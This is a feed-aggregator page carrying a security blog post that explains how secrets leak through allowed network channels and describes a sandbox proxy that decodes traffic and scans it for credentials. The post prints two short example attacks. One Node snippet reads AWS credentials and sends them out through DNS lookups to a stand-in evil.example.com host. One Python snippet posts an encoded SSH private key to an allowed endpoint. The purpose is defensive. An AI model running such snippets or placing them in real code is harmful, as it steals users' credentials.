惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

T
Tailwind CSS Blog
V
Vulnerabilities – Threatpost
Hacker News - Newest:
Hacker News - Newest: "LLM"
V2EX - 技术
V2EX - 技术
N
News and Events Feed by Topic
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
F
Fortinet All Blogs
C
Cybersecurity and Infrastructure Security Agency CISA
A
Arctic Wolf
美团技术团队
Cloudbric
Cloudbric
大猫的无限游戏
大猫的无限游戏
WordPress大学
WordPress大学
S
Security Affairs
T
Tenable Blog
MyScale Blog
MyScale Blog
W
WeLiveSecurity
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
aimingoo的专栏
aimingoo的专栏
博客园_首页
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
月光博客
月光博客
宝玉的分享
宝玉的分享
博客园 - Franky
PCI Perspectives
PCI Perspectives
H
Hacker News: Front Page
D
Docker
博客园 - 司徒正美
L
LINUX DO - 最新话题
GbyAI
GbyAI
A
About on SuperTechFans
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
I
InfoQ
Microsoft Azure Blog
Microsoft Azure Blog
Google DeepMind News
Google DeepMind News
Microsoft Security Blog
Microsoft Security Blog
T
Threatpost
Google DeepMind News
Google DeepMind News
Help Net Security
Help Net Security
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
人人都是产品经理
人人都是产品经理
C
Check Point Blog
MongoDB | Blog
MongoDB | Blog
Y
Y Combinator Blog
AI
AI
有赞技术团队
有赞技术团队
N
News | PayPal Newsroom
T
The Blog of Author Tim Ferriss
D
DataBreaches.Net
O
OpenAI News

Lobsters

Lunacy | Red Vice CIFSwitch: a non-universal Linux local root vulnerability RIPE NCC session fixation: poaching logins with an Atlas probe GNOME 2.20 but its Web Components Agentic Search for Context Engineering – Leonie Monigatti Garnix is shutting down [not OC] akashina.tngl.sh/jjc Concerning Emacs (and Jazz) Nitpicking the shell history scene in ‘Tron: Legacy’ What's cooking on SourceHut? Q2 2026 The tenth OpenPGP email summit Package managers that package package managers Clojure on Fennel part three: parsing WordPress at 23 Finding Miscompiles for Fun, Not Profit GitHub - creusot-rs/creusot: Creusot helps you prove your Rust code is correct. Announcing Rust 1.96.0 | Rust Blog A Love Letter to Neovim sqlite AGENTS.md Am I a Bad Friend? CSS vs. JavaScript • Josh W. Comeau Erlang Ecosystem Foundation - Supporting the BEAM community A brief note about slot access cost in Common Lisp Keyboard latency probe Rethinking the GNOME clipboard issues Back to the Building Blocks’ Building Blocks Tech Notes: Theseus: translating win32 to wasm Fast is better than slow Content-addressed Rust builds (or, what kache actually caches) Intent to Prototype: Embedding API Canada’s Bill C-22 and the security cost of collecting more data 5 PostgreSQL locking behaviors that trip people up okmij.org Stop advertising in your commits! | AksDev GitHub - mplsllc/macsurf: A modern web browser for Classic Mac OS 9 PowerPC. Real CSS3, ES5 JavaScript, native HTTPS — built with CodeWarrior on the Carbon API. Introducing DoomBench - Can Your Data Stack Run DOOM? What are some of your favourite developer tools? Building a Scalable Ingestion Pipeline with Temporal (Part 1) Converting shallow Git bundles into normal repositories Are you a member of any professional associations? What is a harmonic? An interactive comic about additive synthesis How Virtual Tables Work in the Itanium C++ ABI Using SwiftUI to Build a Mac-assed App in 2026 Rust (and Slint) on a jailbroken Kindle. ~jack/lambda-on-lambda - Serverless Haskell on AWS - sourcehut git Human proof for FOSS contributions Extremely simple internet radio controlled via IRC Announcing BABLR Splitting Konsole views from Helix to run tools | AksDev GitHub - yugr/rust-slides Serving files over HTTP three ways: synchronous, epoll, and io_uring update docs with information about building with build.py (#979) · astral-sh/python-build-standalone@c9c40c5 A Simple Makefile Tutorial On C extensions, portability, and alternative compilers Switching to Colemak | Pedro Alves Just How Bad Was The Intel IAPX432? Nix's Substituter List Is Not a Routing Table Accelerating copy_if using SIMD Lambda on Lambda: Serverless Haskell on AWS | Blog Announcing feed-repeat v1.0 Scaling Akvorado BMP RIB with sharding EYG news: A host of CLI improvements, new guides and new effects The social contract of writing JS Crossword C array types are weird; and related topics Flatpak will depend on systemd – OSnews Migrating from Go to Rust | corrode Rust Consulting A portentous reunion Vivado Licensing Options How my minimal, memory-safe Go rsync steers clear of vulnerabilities the entropy layer of a wavelet codec, on its own GitHub - nferhat/fht-compositor: A dynamic tiling Wayland compositor. Debian SE Linux and PinTheft Does bulk memmove speed up std::remove_if? (No.) 声明式部分更新 | Blog | Chrome for Developers Fully in-browser container builds Dianne Skoll's Web Site - Remind The Architecture of Open Source Applications (Volume 1)Berkeley DB Pardon MIE? - ironPeak Blog “Long-Term Support” doesn’t mean what you think Jira IS Turing-Complete May I recommend thinking of Emacs as your Fortress of Solitude hershey Floodgap Gopher-HTTP gateway gopher://thelambdalab.xyz/1cuneiforth/ HP QuickWeb, Singular And Pointless That one time I used Go panics for flow control A new suite of modern tools coming for editing and publishing RFCs From the Tabletop… The Digital Antiquarian Building a Host-Tuned GCC to Make GCC Compile Faster Are we self-sovereign PKI yet? Claw Patrol: an open-source security firewall for agents | Deno Revised^7 Report on Scheme, Large: Procedural Fascicle Draft is now public From AFSK to Goertzel – µArt.cz Software For My New Home Server Introducing Neptune: Direct3D virtualization for QEMU AI Agent Bankrupted Their Operator While Trying to Scan DN42 - Lan Tian @ Blog mimalloc: A new, high-performance, scalable memory allocator for the modern era Making wl_shm fast The Soul of Maintaining a New Machine - Third Draft | Books in Progress What is Git made of?
A Network Allow-List Won't Stop Exfiltration — André Graf
dergraf.org · 2026-05-18 · via Lobsters

Say you run a piece of untrusted code – an AI-generated script, a dependency’s postinstall hook, a build step from a repo you just cloned – inside a sandbox. You lock it down: no filesystem access outside the working directory, no network except the one domain it legitimately needs, no dangerous syscalls. That stops a lot of bad behavior.

It also has a blind spot, and it’s a big one.

I ran into this building Canister, a lightweight, unprivileged Linux sandbox – it stacks user namespaces, seccomp, and network isolation to run untrusted commands with minimal privileges, no root and no container runtime. But the blind spot below isn’t specific to Canister. It applies to any sandbox whose network policy is a domain allow-list, which is most of them.

The problem network allow-lists don’t solve

Say you’re running an npm install for a project that needs to reach registry.npmjs.org. You add that domain to your allow-list. The install runs. Everything works.

Except the dependency you just installed contains this:

const dns = require('dns');
const secrets = require('fs').readFileSync(process.env.HOME + '/.aws/credentials', 'utf8');
const encoded = Buffer.from(secrets).toString('base64');
dns.resolve(`${encoded.substring(0, 60)}.evil.example.com`, () => {});

Your network policy allows DNS. The script exfiltrates your AWS credentials via DNS subdomain lookups. No unauthorized connection. No blocked domain. The data leaves through a channel you explicitly permitted.

Or consider a build script that posts logs to an allowed analytics endpoint:

import requests, base64, os
token = open(os.path.expanduser("~/.ssh/id_ed25519")).read()
requests.post("https://allowed-analytics.example.com/log", 
              data={"log": base64.b64encode(token.encode()).decode()})

Your SSH private key, base64-encoded, flows to an endpoint your policy allows. The sandbox did its job. The network filter did its job. The secret still leaked.

This is the gap network-level policies can’t close. The threat isn’t just unauthorized connections. It’s data flowing through authorized ones.

Recent supply chain context

This isn’t a theoretical problem. In November 2025, the Shai-Hulud worm hit the npm registry in a second wave (Sha1-Hulud), compromising hundreds of packages from Zapier, ENS Domains, PostHog, and others. The malware ran during the preinstall phase, installed credential scanners, and exfiltrated GitHub tokens, npm tokens, AWS keys, and SSH keys to attacker-controlled repositories.

Around the same time, the LiteLLM project disclosed multiple critical vulnerabilities in the Python ecosystem, including SQL injection, authentication bypasses, and server-side template injection that could be chained to steal credentials.

These weren’t one-off incidents. They were part of a pattern: package registries as credential harvesting infrastructure. Allow-lists can block unauthorized domains. They can’t tell the difference between legitimate API calls and encoded secrets in HTTP headers.

That’s the problem an L7 egress proxy with data-loss prevention is designed to address.

How it works

Every outbound TCP connection from the sandbox goes through a local HTTPS proxy running on the host. The sandbox can’t make direct connections: a seccomp supervisor – using SECCOMP_USER_NOTIF, the kernel feature that lets a parent process vet syscalls the sandbox makes – intercepts connect() and returns EPERM unless the process is connecting to 127.0.0.1:8080, the proxy.

The proxy handles:

  1. TLS termination. The proxy acts as a MITM. It terminates the client’s TLS session, inspects the plaintext HTTP request and response, then re-encrypts the connection upstream.

  2. Policy enforcement. Before forwarding anything, the proxy checks the target against your allow-list. Blocked domains return 403. No packet leaves the host.

  3. DNS entropy checks. High-entropy subdomains trigger warnings or blocks. A request to aws-akiaiosfodnn7example.attacker.com gets flagged because the subdomain looks like base64-encoded data. The DLP layer normalizes per-label entropy against the maximum for that length and detects chunked exfiltration patterns.

  4. Header and URI scanning. All request headers are scanned – there is no allowlist of header names to check. URIs are checked for embedded tokens.

  5. Body scanning. Request and response bodies are buffered (with size limits – requests over the threshold get a 413), decoded through multiple layers (base64, hex, percent-encoding, JSON escapes, HTML entities), decompressed (gzip, deflate, brotli, zstd), and scanned for secrets.

  6. Response scanning. API responses that leak credentials are caught before they reach the sandboxed process. If a service accidentally echoes back a token in an error message, it gets blocked.

The pipeline is: policy check → DNS entropy check → header scan → body scan → forward upstream → response scan → return to client. A single enforcement decision point. If a secret is detected and you’re running in --strict mode, the request is blocked and logged. In --monitor mode, the request is allowed but a warning is logged and an X-Canister-DLP-Warning header is added.

What gets caught

The DLP layer includes detectors for:

  • Cloud provider keys: AWS access keys, GCP service account keys, Azure connection strings
  • Version control tokens: GitHub personal access tokens, GitLab tokens
  • Package registry credentials: npm tokens, PyPI tokens
  • API keys: OpenAI, Anthropic, Google API keys, Stripe keys, Slack tokens
  • Database credentials: Postgres connection URIs (username, password, host parsed and checked)
  • Cryptographic keys: SSH private keys (RSA, Ed25519, ECDSA), PKCS#8 private keys
  • High-entropy tokens: Generic bearer tokens, JWTs, any high-entropy string that looks like a secret
  • Custom canary tokens: Inject known fake secrets at sandbox startup, verify they get blocked

Each detector has a home domain scope. A GitHub PAT can flow to github.com or api.github.com, but not to evil.example.com. An npm token can reach registry.npmjs.org, but not arbitrary endpoints. You can extend scopes per-recipe with extra_scopes.

The detector list is built from a single source-of-truth registry. Adding a new pattern is “add one entry to the registry” rather than “update four parallel lists and hope they stay in sync.”

Evasion resistance

Attackers encode secrets to evade pattern matching. The DLP layer handles this by working backwards through the encoding chain.

Encoding chains: The scanner recursively decodes base64, hexadecimal, and percent-encoding up to 32 layers deep. A request body like %7B%22token%22%3A%22NjhkMzZhYjY4ZDM2YWI2OGQzNmFiNjhkMzZhYg%3D%3D%22%7D (percent-encoded JSON containing base64) gets decoded to {"token":"68d36ab68d36ab68d36ab68d36ab"} and scanned. JSON \uXXXX escapes (including surrogate pairs) and HTML entities are decoded as well.

Decompression: If the Content-Encoding header says gzip, the body is decompressed before scanning. The scanner supports gzip, deflate, brotli, and zstd. It also sniffs magic bytes – if the header says text/plain but the body starts with 1f 8b, it’s treated as gzip and decompressed anyway. Mismatches trigger DLP evasion warnings.

DNS entropy: Subdomains are split into labels, and per-label Shannon entropy is calculated and normalized against the theoretical maximum for that label length. High-entropy labels look like base64-encoded data. The DNS entropy budget tracks cumulative high-entropy bytes per sandbox session to catch slow byte-at-a-time exfiltration. A single high-entropy DNS query might be legitimate. A thousand of them are not.

Streaming scanner: HTTP chunked transfer encoding can split a secret across chunk boundaries. The scanner uses a 256-byte overlap window. When processing chunk N, it rescans the last 256 bytes of chunk N-1 concatenated with the first 256 bytes of chunk N. Secrets that span chunks still get caught.

Fragment-aware decoding: Secrets embedded inside larger structures (JSON objects, XML documents, multipart form data) are extracted and scanned. A POST body like {"user": "alice", "token": "ghp_AKIAIOSFODNN7EXAMPLE", "timestamp": 123} doesn’t evade detection because the scanner pulls apart the JSON and scans each value.

Redaction: Matched secrets never appear in logs or structured events. The DLP layer redacts them to first4•••••sha256[..8] (len=N). A blocked GitHub PAT shows up as ghp_•••••a3f2b7c9 (len=40) in the logs. The actual token never touches disk.

What this does and doesn’t buy you

DLP is a second line of defense, not a first. It doesn’t replace reviewing code or vetting dependencies, and it isn’t a hard boundary the way a denied syscall is – it’s pattern matching over a decoded byte stream, and pattern matching has limits. There will be encodings a given implementation doesn’t unwrap, and high-entropy detection trades false positives against false negatives no matter where you set the threshold.

What it does buy you is coverage of the gap that network-level policy structurally cannot close: data leaving through a connection you authorized. An allow-list reasons about where a connection goes. A DLP proxy reasons about what’s inside it. Those are different questions, and a sandbox that answers only the first leaves the more interesting one on the table.

The design points worth stealing, regardless of implementation:

  • Decode before you scan, and decode recursively. Attackers nest encodings until you stop unwrapping; the scanner has to keep going one layer further.
  • Keep an overlap window across chunk and packet boundaries, or you’ll miss secrets split across two reads.
  • Treat DNS as an exfiltration channel, not just name resolution. Budget cumulative high-entropy bytes per session – one weird subdomain is noise, a thousand is a payload.
  • Drive detectors from a single registry so adding a pattern is one entry, not four parallel lists drifting out of sync.
  • Redact matches everywhere they’re logged. A DLP layer that writes the secret it just caught into your logs has only moved the leak.

A caveat worth stating plainly: this is recent, still-evolving code. The detector registry, the encoding chain, and the entropy thresholds are all things I’m actively expanding as new evasion tricks surface, and I won’t pretend the current set is complete or that I’ve found every channel. Treat it as a promising direction I’m still hardening, not a finished guarantee.

The implementation is Canister (Rust, Apache-2.0); the DLP architecture is written up in docs/DLP.md. If you want to know where I think it’s still weak and what kind of feedback would help most – especially attempts to slip a secret past it – I wrote that up in a separate note.